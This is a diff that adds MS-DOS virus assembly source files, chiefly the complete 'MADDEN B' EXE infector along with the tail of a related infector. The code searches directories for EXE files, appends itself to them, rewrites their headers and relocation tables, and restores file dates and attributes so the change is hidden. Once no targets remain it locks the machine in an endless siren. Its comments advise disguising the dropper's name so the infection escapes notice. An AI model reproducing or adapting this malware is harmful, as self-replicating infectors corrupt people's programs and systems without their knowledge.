end of first + stosb + or al,al + jnz CONCAT2 + pop di ;and restore di to point to end of string 1 + ret + + +;-------------------------------------------------------------------------- +;Function to determine whether the EXE file specified in USEFILE is useable. +;if so return nc, else return c +;What makes an EXE file useable?: +; a) The signature field in the EXE header must be 'MZ'. (These +; are the first two bytes in the file.) +; b) The Overlay Number field in the EXE header must be zero. +; c) There must be room in the relocatable table for NUMRELS +; more relocatables without enlarging it. +; d) The word VIRUSID must not appear in the 2 bytes just before +; the initial CS:0000 of the test file. If it does, the virus +; is probably already in that file, so we skip it. +; +FILE_OK: + call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR + jc OK_END ;error in reading the file, so quit + call CHECK_SIG_OVERLAY ;is the overlay number zero? + jc OK_END ;no - exit with c set + call REL_ROOM ;is there room in the relocatable table? + jc OK_END ;no - exit + call IS_ID_THERE ;is id at CS:0000? +OK_END: ret ;return with c flag set properly + +;-------------------------------------------------------------------------- +;Returns c if signature in the EXE header is anything but 'MZ' or the overlay +;number is anything but zero. +CHECK_SIG_OVERLAY: + mov al,'M' ;check the signature first + mov ah,'Z' + cmp ax,WORD PTR [EXE_HDR] + jz CSO_1 ;jump if OK + stc ;else set carry and exit + ret +CSO_1: xor ax,ax + sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0 + ret ;c is set if it's anything but 0 + +;-------------------------------------------------------------------------- +;This function reads the 28 byte EXE file header for the file named in USEFILE. +;It puts the header in EXE_HDR, and returns c set if unsuccessful. +; +GET_EXE_HEADER: + mov dx,OFFSET USEFILE + mov ax,3D02H ;r/w access open file + int 21H + jc RE_RET ;error opening - C set - quit without closing + mov [HANDLE],ax ;else save file handle + mov bx,ax ;handle to bx + mov cx,1CH ;read 28 byte EXE file header + mov dx,OFFSET EXE_HDR ;into this buffer + mov ah,3FH + int 21H +RE_RET: ret ;return with c set properly + +;-------------------------------------------------------------------------- +;This function determines if there are at least NUMRELS openings in the +;current relocatable table in USEFILE. If there are, it returns with +;carry reset, otherwise it returns with carry set. The computation +;this routine does is to compare whether +; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table +;is >= than 4 * NUMRELS. If it is, then there is enough room +; +REL_ROOM: + mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs + add ax,ax + add ax,ax + sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables + add ax,ax + add ax,ax + sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table + cmp ax,4*NUMRELS ;enough room to put relocatables in? +RR_RET: ret ;exit with carry set properly + + +;-------------------------------------------------------------------------- +;This function determines whether the word at the initial CS:0000 in USEFILE +;is the same as VIRUSID in this program. If it is, it returns c set, otherwise +;it returns c reset. +; +IS_ID_THERE: + mov ax,WORD PTR [EXE_HDR+22] ;Initial CS + add ax,WORD PTR [EXE_HDR+8] ;Header size + mov dx,16 + mul dx + mov cx,dx + mov dx,ax ;cxdx = position to look for VIRUSID in file + mov bx,[HANDLE] + mov ax,4200H ;set file pointer, relative to beginning + int 21H + mov ah,3FH + mov bx,[HANDLE] + mov dx,OFFSET VIDC + mov cx,2 ;read 2 bytes into VIDC + int 21H + jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file + mov ax,[VIDC] + cmp ax,[VIRUSID] ;is it the VIRUSID? + clc + jnz II_RET ;if not, then virus is not already in this file + stc ;else it is probably there already +II_RET: ret + + +;-------------------------------------------------------------------------- +;This routine makes sure file end is at paragraph boundary, so the virus +;can be attached with a valid CS. Assumes file pointer is at end of file. +SETBDY: + mov al,BYTE PTR [FSIZE] + and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs) + jz SB_E ;all set - exit + mov cx,10H ;no - write any old bytes to even it up + sub cl,al ;number of bytes to write in cx + mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there) + add WORD PTR [FSIZE],cx ;update FSIZE + adc WORD PTR [FSIZE+2],0 + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H +SB_E: ret + +;-------------------------------------------------------------------------- +;This routine moves the virus (this program) to the end of the EXE file +;Basically, it just copies everything here to there, and then goes and +;adjusts the EXE file header and two relocatables in the program, so that +;it will work in the new environment. It also makes sure the virus starts +;on a paragraph boundary, and adds how many bytes are necessary to do that. +; +INFECT: + mov cx,WORD PTR [FSIZE+2] + mov dx,WORD PTR [FSIZE] + mov bx,[HANDLE] + mov ax,4200H ;set file pointer, relative to beginning + int 21H ;go to end of file + call SETBDY ;lengthen to a paragraph boundary if necessary + mov cx,OFFSET FINAL ;last byte of code + xor dx,dx ;first byte of code, DS:DX + mov bx,[HANDLE] ;move virus code to end of file being attacked with + mov ah,40H ;DOS write function + int 21H + mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS) + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file + inc bx + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx is that number + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to 1st relocatable + int 21H + mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program + mov bx,[HANDLE] ;from the EXE header + mov cx,2 + mov ah,40H ;and write it to relocatable REL1+1 + int 21H + mov dx,WORD PTR [FSIZE] + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL1A ;put in correct old SP from EXE header + inc bx ;at FSIZE+REL1A+1 + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx points to FSIZE+REL1A+1 + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to place to write SP to + int 21H + mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program + mov bx,[HANDLE] ;from EXE header + mov cx,2 + mov ah,40H ;and write it where it belongs + int 21H + mov dx,WORD PTR [FSIZE] + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL2 ;put in correct old CS:IP in program + add bx,1 ;at FSIZE+REL2+1 on disk + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx points to FSIZE+REL2+1 + mov bx,[HANDLE] + mov ax,4200H ;set file pointer relavtive to start of file + int 21H + mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header + mov bx,[HANDLE] + mov cx,4 + mov ah,40H ;and write 4 bytes to FSIZE+REL2+1 + int 21H + ;done writing relocatable vectors + ;so now adjust the EXE header values + xor cx,cx + xor dx,dx + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to start of file + int 21H + mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS) + mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs) + shr ax,cl + mov bx,WORD PTR [FSIZE+2] + and bl,0FH + mov cl,4 + shl bl,cl + add ah,bl + sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs) + mov WORD PTR [EXE_HDR+22],ax;and save as initial CS + mov bx,OFFSET FINAL ;compute new initial SS + add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16) + mov cl,4 + shr bx,cl + add ax,bx + mov WORD PTR [EXE_HDR+14],ax ;and save it + mov ax,OFFSET VIRUS ;get initial IP + mov WORD PTR [EXE_HDR+20],ax ;and save it + mov ax,STACKSIZE ;get initial SP + mov WORD PTR [EXE_HDR+16],ax ;and save it + mov dx,WORD PTR [FSIZE+2] + mov ax,WORD PTR [FSIZE] ;calculate new file size + mov bx,OFFSET FINAL + add ax,bx + xor bx,bx + adc dx,bx ;put it in ax:dx + add ax,200H ;and set up the new page count + adc dx,bx ;page ct= (ax:dx+512)/512 + push ax + mov cl,9 + shr ax,cl + mov cl,7 + shl dx,cl + add ax,dx + mov WORD PTR [EXE_HDR+4],ax ;and save it here + pop ax + and ax,1FFH ;now calculate last page size + mov WORD PTR [EXE_HDR+2],ax ;and put it here + mov ax,NUMRELS ;adjust relocatables counter + add WORD PTR [EXE_HDR+6],ax + mov cx,1CH ;and save data at start of file + mov dx,OFFSET EXE_HDR + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H + mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table + dec ax ;in order to calculate location of + dec ax ;where to add relocatables + mov bx,4 ;Location= (No in table-2)*4+Table Offset + mul bx + add ax,WORD PTR [EXE_HDR+24];table offset + mov bx,0 + adc dx,bx ;dx:ax=end of old table in file + mov cx,dx + mov dx,ax + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to table end + int 21H + mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1 + mov bx,OFFSET REL1 + inc bx ;offset of REL1 + mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to + mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now + mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2 + mov bx,OFFSET REL2 + add bx,3 ;offset of REL2 + mov WORD PTR [EXE_HDR+4],bx ;write it to buffer + mov WORD PTR [EXE_HDR+6],ax + mov cx,8 ;and then write 8 bytes of data in file + mov dx,OFFSET EXE_HDR + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H + ret ;that's it, infection is complete! + +;-------------------------------------------------------------------------- +;This routine determines whether the reproduction code should be executed. +;If it returns Z, the reproduction code is executed, otherwise it is not. +;Currently, it only executes if the system time variable is a multiple of +;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1 +;executions of the program. TIMECT should be 2^n-1 +;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program +;is run. This makes SHOULDRUN return Z for sure the first time, so it +;definitely runs when this loader program is run, but after that, the time must +;be an even multiple of TIMECT+1. +; +TIMECT EQU 0 ;Determines how often to reproduce (1/64 here) +; +SHOULDRUN: + xor ah,ah ;zero ax to start, set z flag +SR1: ret ;this gets replaced by NOP when program runs + int 1AH + and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks? + ret ;return with z flag set if it is, else nz set + + +;-------------------------------------------------------------------------- +;SETSR modifies SHOULDRUN so that the full procedure gets run +;it is redundant after the initial load +SETSR: + mov al,90H ;NOP code + mov BYTE PTR SR1,al ;put it in place of RET above + ret ;and return + +;-------------------------------------------------------------------------- +;This routine sets up the new DTA location at DTA1, and saves the location of +;the initial DTA in the variable OLDDTA. +NEW_DTA: + mov ah,2FH ;get current DTA in ES:BX + int 21H + mov WORD PTR [OLDDTA],bx ;save it here + mov ax,es + mov WORD PTR [OLDDTA+2],ax + mov ax,cs + mov es,ax ;set up ES + mov dx,OFFSET DTA1 ;set new DTA offset + mov ah,1AH + int 21H ;and tell DOS where we want it + ret + +;-------------------------------------------------------------------------- +;This routine reverses the action of NEW_DTA and restores the DTA to its +;original value. +RESTORE_DTA: + mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs + mov ax,WORD PTR [OLDDTA+2] + mov ds,ax + mov ah,1AH + int 21H ;and tell DOS where to put it + mov ax,cs ;restore ds before exiting + mov ds,ax + ret + +;-------------------------------------------------------------------------- +;This routine saves the original file attribute in FATTR, the file date and +;time in FDATE and FTIME, and the file size in FSIZE. It also sets the +;file attribute to read/write, and leaves the file opened in read/write +;mode (since it has to open the file to get the date and size), with the handle +;it was opened under in HANDLE. The file path and name is in USEFILE. +SAVE_ATTRIBUTE: + mov ah,43H ;get file attr + mov al,0 + mov dx,OFFSET USEFILE + int 21H + mov [FATTR],cl ;save it here + mov ah,43H ;now set file attr to r/w + mov al,1 + mov dx,OFFSET USEFILE + mov cl,0 + int 21H + mov dx,OFFSET USEFILE + mov al,2 ;now that we know it's r/w + mov ah,3DH ;we can r/w access open file + int 21H + mov [HANDLE],ax ;save file handle here + mov ah,57H ;and get the file date and time + xor al,al + mov bx,[HANDLE] + int 21H + mov [FTIME],cx ;and save it here + mov [FDATE],dx ;and here + mov ax,WORD PTR [DTA1+28] ;file size was set up here by + mov WORD PTR [FSIZE+2],ax ;search routine + mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE + mov WORD PTR [FSIZE],ax + ret + +;-------------------------------------------------------------------------- +;Restore file attribute, and date and time of the file as they were before +;it was infected. This also closes the file +REST_ATTRIBUTE: + mov dx,[FDATE] ;get old date and time + mov cx,[FTIME] + mov ah,57H ;set file date and time to old value + mov al,1 + mov bx,[HANDLE] + int 21H + mov ah,3EH + mov bx,[HANDLE] ;close file + int 21H + mov cl,[FATTR] + xor ch,ch + mov ah,43H ;Set file attr to old value + mov al,1 + mov dx,OFFSET USEFILE + int 21H + ret + +FINAL: ;last byte of code to be kept in virus + +VSEG ENDS + + +;-------------------------------------------------------------------------- +;Virus stack segment + +VSTACK SEGMENT PARA STACK + db STACKSIZE dup (?) +VSTACK ENDS + + END VIRUS ;Entry point is the virus diff --git a/MSDOS/Virus.MSDOS.Unknown.maddenb.asm b/MSDOS/Virus.MSDOS.Unknown.maddenb.asm new file mode 100644 index 00000000..149c7d8b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.maddenb.asm @@ -0,0 +1,771 @@ +;The MADDEN B virus is an EXE file infector which can jump from directory to +;directory and disk to disk. It attaches itself to the end of a file and +;modifies the EXE file header so that it gets control first, before the host +;program. When it is done doing its job, it passes control to the host program, +;so that the host executes without a hint that the virus is there. + + + .SEQ ;segments must appear in sequential order + ;to simulate conditions in actual active virus + + +;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together + +;HOSTSEG program code segment. The virus gains control before this routine and +;attaches itself to another EXE file. As such, the host program for this +;installer simply tries to delete itself off of disk and terminates. That is +;worthwhile if you want to infect a system with the virus without getting +;caught. Just execute the program that infects, and it disappears without a +;trace. You might want to name the program something more innocuous, though. +;MADDEN B also locks the pc into a 'siren' warble when it runs out +;of files to infect. MADDEN, included in this archive plays a fast country +;song. (MADDEN will assemble to an .file using a86, then link to produce +;infected .exe form) + +HOSTSEG SEGMENT BYTE + ASSUME CS:HOSTSEG,SS:HSTACK + +PGMSTR DB 'MADDENB.EXE',0 + +HOST: + mov ax,cs ;we want DS=CS here + mov ds,ax + mov dx,OFFSET PGMSTR + mov ah,41H + int 21H ;delete this exe file + mov ah,4CH + mov al,0 + int 21H ;terminate normally +HOSTSEG ENDS + + +;Host program stack segment + +HSTACK SEGMENT PARA STACK + db 100H dup (?) ;100 bytes long +HSTACK ENDS + +;------------------------------------------------------------------------ +;This is the virus itself + +STACKSIZE EQU 100H ;size of stack for the virus +NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table + +;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together + +;MADDEN Virus code segment. This gains control first, before the host. As this +;ASM file is layed out, this program will look exactly like a simple program +;that was infected by the virus. + +VSEG SEGMENT PARA + ASSUME CS:VSEG,DS:VSEG,SS:VSTACK + +;data storage area comes before any code +VIRUSID DW 0C8AAH ;identifies virus +OLDDTA DD 0 ;old DTA segment and offset +DTA1 DB 2BH dup (?) ;new disk transfer area +DTA2 DB 56H dup (?) ;dta for directory finds (2 deep) +EXE_HDR DB 1CH dup (?) ;buffer for EXE file header +EXEFILE DB '\*.EXE',0 ;search string for an exe file +ALLFILE DB '\*.*',0 ;search string for any file +USEFILE DB 78 dup (?) ;area to put valid file path +LEVEL DB 0 ;depth to search directories for a file +HANDLE DW 0 ;file handle +FATTR DB 0 ;old file attribute storage area +FTIME DW 0 ;old file time stamp storage area +FDATE DW 0 ;old file date stamp storage area +FSIZE DD 0 ;file size storage area +VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there +VCODE DB 1 ;identifies this version +COUNT1 DW 8 ;delay counts used by 'siren' routine +COUNT2 DW 3 +COUNT3 DW 20 +COUNT4 DW 10 +;-------------------------------------------------------------------------- +;MADDEN B virus main routine starts here +VIRUS: + push ax ;save startup info in ax + mov ax,cs + mov ds,ax ;set up DS=CS for the virus + mov ax,es ;get PSP Seg + mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it + call SHOULDRUN ;run only when certain conditions met signalled by z set + jnz REL1 ;conditions aren't met, go execute host program + call SETSR ;modify SHOULDRUN procedure to activate conditions + call NEW_DTA ;set up a new DTA location + call FIND_FILE ;get an exe file to attack + jnz SIREN ;returned nz - no valid files left, siren time! + call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode + call INFECT ;move program code to file we found to attack + call REST_ATTRIBUTE ;restore the original file attributes and close the file +FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup + pop ax ;restore startup value of ax +REL1: ;relocatable marker for host stack segment + mov bx,HSTACK ;set up host program stack segment (ax=segment) + cli ;interrupts off while changing stack + mov ss,bx +REL1A: ;marker for host stack pointer + mov sp,OFFSET HSTACK + mov es,WORD PTR [OLDDTA+2] ;set up ES correctly + mov ds,WORD PTR [OLDDTA+2] ;and DS + sti ;interrupts back on +REL2: ;relocatable marker for host code segment + jmp FAR PTR HOST ;begin execution of host program + +;-------------------------------------------------------------------------- +;First Level - Find a file which passes FILE_OK +; +;This routine does a complex directory search to find an EXE file in the +;current directory, one of its subdirectories, or the root directory or one +;of its subdirectories, to find a file for which FILE_OK returns with C reset. +;If you want to change the depth of the search, make sure to allocate enough +;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work, +;since the recursive FINDBR uses a different DTA area for the search (see DOS +;functions 4EH and 4FH) on each level. +; +FIND_FILE: + mov al,'\' ;set up current directory path in USEFILE + mov BYTE PTR [USEFILE],al + mov si,OFFSET USEFILE+1 + xor dl,dl + mov ah,47H + int 21H ;get current dir, USEFILE= \dir + cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root + jnz FF2 ;not the root + xor al,al ;make correction for root directory, + mov BYTE PTR [USEFILE],al ;by setting USEFILE = '' +FF2: mov al,2 + mov [LEVEL],al ;search 2 subdirs deep + call FINDBR ;attempt to locate a valid file + jz FF3 ;found one - exit + xor al,al ;nope - try the root directory + mov BYTE PTR [USEFILE],al ;by setting USEFILE= '' + inc al ;al=1 + mov [LEVEL],al ;search one subdir deep + call FINDBR ;attempt to find file +FF3: + ret ;exit with z flag set by FINDBR to indicate success/failure + +;*************************************************************************** +;This routine enables MADDEN B virus to sound a siren +;when it can't find a file to infect +;************************************************************************** +SIREN: + cli ;no interrupts + mov bp,15 ;we want to do hole thing 15 times + mov al,10110110xb ;set up channel 2 + out 43h,al ;send it to port +AGIN: mov bx,500 ;start frequency high +BACKERX:mov ax,bx ;place it in (ax) + out 42h,al ;send LSB first + mov al,ah ;move MSB into al + out 42h,al ;send it next + in al,61h ;get value from port + or al,00000011xb ;ORing it will turn on speaker + out 61h,al ;send number + mov cx,COUNT1 ;number of delay loops +LOOPERX:loop LOOPERX ;so we can hear sound + inc bx ;increment (bx) lowers frequency pitch + cmp bx,4000 ;have we reached 4000 + jnz BACKERX ;if not do again +BACKERY:mov ax,bx ;if not put (bx) in (ax) + out 42h,al ;send LSB to port + mov al,ah ;place MSB in al + out 42h,al ;send it now + in al,61h ;get value from port + or al,00000011xb ;lets OR it + out 61h,al ;time to turn on speaker + mov cx,COUNT2 ;loop count +LOOPERY:loop LOOPERY ;delay so we can hear sound + dec bx ;decrementing (bx) rises frequency pitch + cmp bx,500 ;have we reach 500 + jnz BACKERY ;if not go back + mov si,COUNT3 ;place longer delay in (si) + mov di,COUNT4 ;place longer delay in (di) + push si ;push it on the stack + push di ;push it on the stack + mov si,COUNT1 ;place first delay in (si) + mov di,COUNT2 ;place second delay in (di) + mov COUNT3,si ;save 1st in COUNT3 for next exchange + mov COUNT4,di ;save 2nd in COUNT4 for next exchange + pop di ;pop longer delay off stack + pop si ;pop longer delay off stack + mov COUNT2,di ;place it in the second + mov COUNT1,si ;place it in the first + dec bp ;decrement repeat count + jnz AGIN ;if not = 0 do hole thing again + in al,61h ;we be done + and al,11111100xb ;this number will turn speaker off + out 61h,al ;send it + sti ;enable interrupts + jmp SIREN + +;-------------------------------------------------------------------------- +;SEARCH FUNCTION +;--------------------------------------------------------------------------- +;Second Level - Find in a branch +; +;This function searches the directory specified in USEFILE for EXE files. +;after searching the specified directory, it searches subdirectories to the +;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this +;routine exits with Z set and leaves the file and path in USEFILE +; +FINDBR: + call FINDEXE ;search current dir for EXE first + jnc FBE3 ;found it - exit + cmp [LEVEL],0 ;no - do we want to go another directory deeper? + jz FBE1 ;no - exit + dec [LEVEL] ;yes - decrement LEVEL and continue + mov di,OFFSET USEFILE ;'\curr_dir' is here + mov si,OFFSET ALLFILE ;'\*.*' is here + call CONCAT ;get '\curr_dir\*.*' in USEFILE + inc di + push di ;store pointer to first * + call FIRSTDIR ;get first subdirectory + jnz FBE ;couldn't find it, so quit +FB1: ;otherwise, check it out + pop di ;strip \*.* off of USEFILE + xor al,al + stosb + mov di,OFFSET USEFILE + mov bx,OFFSET DTA2+1EH + mov al,[LEVEL] + mov dl,2BH ;compute correct DTA location for subdir name + mul dl ;which depends on the depth we're at in the search + add bx,ax ;bx points to directory name + mov si,bx + call CONCAT ;'\curr_dir\sub_dir' put in USEFILE + push di ;save position of first letter in sub_dir name + call FINDBR ;scan the subdirectory and its subdirectories (recursive) + jz FBE2 ;if successful, exit + call NEXTDIR ;get next subdirectory in this directory + jz FB1 ;go check it if search successful +FBE: ;else exit, NZ set, cleaned up + inc [LEVEL] ;increment the level counter before exit + pop di ;strip any path or file spec off of original + xor al,al ;directory path + stosb +FBE1: mov al,1 ;return with NZ set + or al,al + ret + +FBE2: pop di ;successful exit, pull this off the stack +FBE3: xor al,al ;and set Z + ret ;exit + +;-------------------------------------------------------------------------- +;Third Level - Part A - Find an EXE file +; +;This function searches the path in USEFILE for an EXE file which passes +;the test FILE_OK. This routine will return the full path of the EXE file +;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return +;with the c flag set. It will search a whole directory before giving up. +; +FINDEXE: + mov dx,OFFSET DTA1 ;set new DTA for EXE search + mov ah,1AH + int 21H + mov di,OFFSET USEFILE + mov si,OFFSET EXEFILE + call CONCAT ;set up USEFILE with '\dir\*.EXE' + push di ;save position of '\' before '*.EXE' + mov dx,OFFSET USEFILE + mov cx,3FH ;search first for any file + mov ah,4EH + int 21H +NEXTEXE: + or al,al ;is DOS return OK? + jnz FEC ;no - quit with C set + pop di + inc di + stosb ;truncate '\dir\*.EXE' to '\dir\' + mov di,OFFSET USEFILE + mov si,OFFSET DTA1+1EH + call CONCAT ;setup file name '\dir\filename.exe' + dec di + push di + call FILE_OK ;yes - is this a good file to use? + jnc FENC ;yes - valid file found - exit with c reset + mov ah,4FH + int 21H ;do find next + jmp SHORT NEXTEXE ;and go test it for validity + +FEC: ;no valid file found, return with C set + pop di + mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir + stc + ret +FENC: ;valid file found, return with NC + pop di + ret + + +;-------------------------------------------------------------------------- +;Third Level - Part B - Find a subdirectory +; +;This function searches the file path in USEFILE for subdirectories, excluding +;the subdirectory header entries. If one is found, it returns with Z set, and +;if not, it returns with NZ set. +;There are two entry points here, FIRSTDIR, which does the search first, and +;NEXTDIR, which does the search next. +; +FIRSTDIR: + call GET_DTA ;get proper DTA address in dx (calculated from LEVEL) + push dx ;save it + mov ah,1AH ;set DTA + int 21H + mov dx,OFFSET USEFILE + mov cx,10H ;search for a directory + mov ah,4EH ;do search first function + int 21H +NEXTD1: + pop bx ;get pointer to search table (DTA) + or al,al ;successful search? + jnz NEXTD3 ;no, quit with NZ set + test BYTE PTR [bx+15H],10H ;is this a directory? + jz NEXTDIR ;no, find another + cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header? + jne NEXTD2 ;no - valid directory, exit, setting Z flag + ;else it was dir header entry, so fall through to next +NEXTDIR: ;second entry point for search next + call GET_DTA ;get proper DTA address again - may not be set up + push dx + mov ah,1AH ;set DTA + int 21H + mov ah,4FH + int 21H ;do find next + jmp SHORT NEXTD1 ;and loop to check the validity of the return + +NEXTD2: + xor al,al ;successful exit, set Z flag +NEXTD3: + ret ;exit routine + +;-------------------------------------------------------------------------- +;Return the DTA address associated to LEVEL in dx. This is simply given by +;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record +;in its own DTA, since a search at a lower level occurs in the middle of the +;higher level search, and we don't want the higher level being ruined by +;corrupted data. +; +GET_DTA: + mov dx,OFFSET DTA2 + mov al,2BH + mul [LEVEL] + add dx,ax ;return with dx= proper dta offset + ret + +;-------------------------------------------------------------------------- +;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz +;string at ES:DI. Return ES:DI pointing to the end of the first string in the +;destination (or the first character of the second string, after moved). +; +CONCAT: + mov al,byte ptr es:[di] ;find the end of string 1 + inc di + or al,al + jnz CONCAT + dec di ;di points to the null at the end + push di ;save it to return to the caller +CONCAT2: + cld + lodsb ;move second string to end of first + stosb + or al,al + jnz CONCAT2 + pop di ;and restore di to point to end of string 1 + ret + + +;-------------------------------------------------------------------------- +;Function to determine whether the EXE file specified in USEFILE is useable. +;if so return nc, else return c +;What makes an EXE file useable?: +; a) The signature field in the EXE header must be 'MZ'. (These +; are the first two bytes in the file.) +; b) The Overlay Number field in the EXE header must be zero. +; c) There must be room in the relocatable table for NUMRELS +; more relocatables without enlarging it. +; d) The word VIRUSID must not appear in the 2 bytes just before +; the initial CS:0000 of the test file. If it does, the virus +; is probably already in that file, so we skip it. +; +FILE_OK: + call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR + jc OK_END ;error in reading the file, so quit + call CHECK_SIG_OVERLAY ;is the overlay number zero? + jc OK_END ;no - exit with c set + call REL_ROOM ;is there room in the relocatable table? + jc OK_END ;no - exit + call IS_ID_THERE ;is id at CS:0000? +OK_END: ret ;return with c flag set properly + +;-------------------------------------------------------------------------- +;Returns c if signature in the EXE header is anything but 'MZ' or the overlay +;number is anything but zero. +CHECK_SIG_OVERLAY: + mov al,'M' ;check the signature first + mov ah,'Z' + cmp ax,WORD PTR [EXE_HDR] + jz CSO_1 ;jump if OK + stc ;else set carry and exit + ret +CSO_1: xor ax,ax + sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0 + ret ;c is set if it's anything but 0 + +;-------------------------------------------------------------------------- +;This function reads the 28 byte EXE file header for the file named in USEFILE. +;It puts the header in EXE_HDR, and returns c set if unsuccessful. +; +GET_EXE_HEADER: + mov dx,OFFSET USEFILE + mov ax,3D02H ;r/w access open file + int 21H + jc RE_RET ;error opening - C set - quit without closing + mov [HANDLE],ax ;else save file handle + mov bx,ax ;handle to bx + mov cx,1CH ;read 28 byte EXE file header + mov dx,OFFSET EXE_HDR ;into this buffer + mov ah,3FH + int 21H +RE_RET: ret ;return with c set properly + +;-------------------------------------------------------------------------- +;This function determines if there are at least NUMRELS openings in the +;current relocatable table in USEFILE. If there are, it returns with +;carry reset, otherwise it returns with carry set. The computation +;this routine does is to compare whether +; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table +;is >= than 4 * NUMRELS. If it is, then there is enough room +; +REL_ROOM: + mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs + add ax,ax + add ax,ax + sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables + add ax,ax + add ax,ax + sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table + cmp ax,4*NUMRELS ;enough room to put relocatables in? +RR_RET: ret ;exit with carry set properly + + +;-------------------------------------------------------------------------- +;This function determines whether the word at the initial CS:0000 in USEFILE +;is the same as VIRUSID in this program. If it is, it returns c set, otherwise +;it returns c reset. +; +IS_ID_THERE: + mov ax,WORD PTR [EXE_HDR+22] ;Initial CS + add ax,WORD PTR [EXE_HDR+8] ;Header size + mov dx,16 + mul dx + mov cx,dx + mov dx,ax ;cxdx = position to look for VIRUSID in file + mov bx,[HANDLE] + mov ax,4200H ;set file pointer, relative to beginning + int 21H + mov ah,3FH + mov bx,[HANDLE] + mov dx,OFFSET VIDC + mov cx,2 ;read 2 bytes into VIDC + int 21H + jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file + mov ax,[VIDC] + cmp ax,[VIRUSID] ;is it the VIRUSID? + clc + jnz II_RET ;if not, then virus is not already in this file + stc ;else it is probably there already +II_RET: ret + + +;-------------------------------------------------------------------------- +;This routine makes sure file end is at paragraph boundary, so the virus +;can be attached with a valid CS. Assumes file pointer is at end of file. +SETBDY: + mov al,BYTE PTR [FSIZE] + and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs) + jz SB_E ;all set - exit + mov cx,10H ;no - write any old bytes to even it up + sub cl,al ;number of bytes to write in cx + mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there) + add WORD PTR [FSIZE],cx ;update FSIZE + adc WORD PTR [FSIZE+2],0 + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H +SB_E: ret + +;-------------------------------------------------------------------------- +;This routine moves the virus (this program) to the end of the EXE file +;Basically, it just copies everything here to there, and then goes and +;adjusts the EXE file header and two relocatables in the program, so that +;it will work in the new environment. It also makes sure the virus starts +;on a paragraph boundary, and adds how many bytes are necessary to do that. +; +INFECT: + mov cx,WORD PTR [FSIZE+2] + mov dx,WORD PTR [FSIZE] + mov bx,[HANDLE] + mov ax,4200H ;set file pointer, relative to beginning + int 21H ;go to end of file + call SETBDY ;lengthen to a paragraph boundary if necessary + mov cx,OFFSET FINAL ;last byte of code + xor dx,dx ;first byte of code, DS:DX + mov bx,[HANDLE] ;move virus code to end of file being attacked with + mov ah,40H ;DOS write function + int 21H + mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS) + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file + inc bx + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx is that number + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to 1st relocatable + int 21H + mov dx,OFFSET EXE_HDR+14 